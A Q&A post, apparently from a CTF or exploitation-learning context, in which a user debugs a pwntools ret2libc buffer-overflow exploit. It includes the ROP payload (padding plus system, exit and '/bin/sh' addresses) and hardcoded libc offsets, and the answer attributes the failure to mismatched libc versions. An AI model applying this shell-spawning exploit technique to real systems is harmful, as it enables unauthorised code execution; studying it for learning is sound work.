When I run pwntools, I'm getting

[+] Here comes the shell!
[*] Switching to interactive mode
[*] Got EOF while reading in interactive

Why is it getting EOF? Where should I start looking for the problem, currently my second payload is

# Build 2nd payload
payload2  =  b'A'*140
ropchain2 =  p32(system_addr)
ropchain2 += p32(exit_addr)
# Optional: Fix disallowed character by scanf by using p32(binsh_addr+5)
#           Thus you'll execute system("sh")
ropchain2 += p32(binsh_addr) 

payload2 = payload2 + ropchain2            

log.success("Here comes the shell!")       


This is adapted from the Megabeets example with the modification given here

If I print(payload2), I get


Which seems correct. The values I used to generate the payload are,

# Addresses                        
puts_plt    = 0x08048390           
puts_got    = 0x0804a014           
entry_point = 0x080483d0           

# Offsets                          
offset_puts       = 0x00067b40     
offset_system     = 0x0003d200     
offset_exit       = 0x000303d0     
offset_str_bin_sh = 0x17e0cf     

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Alright. So the issue here was I think that Radare was addressing libc based on a version on disk. And, the version in memory was different.

Anyway, I restarted the computer and redid the offset math and it worked!

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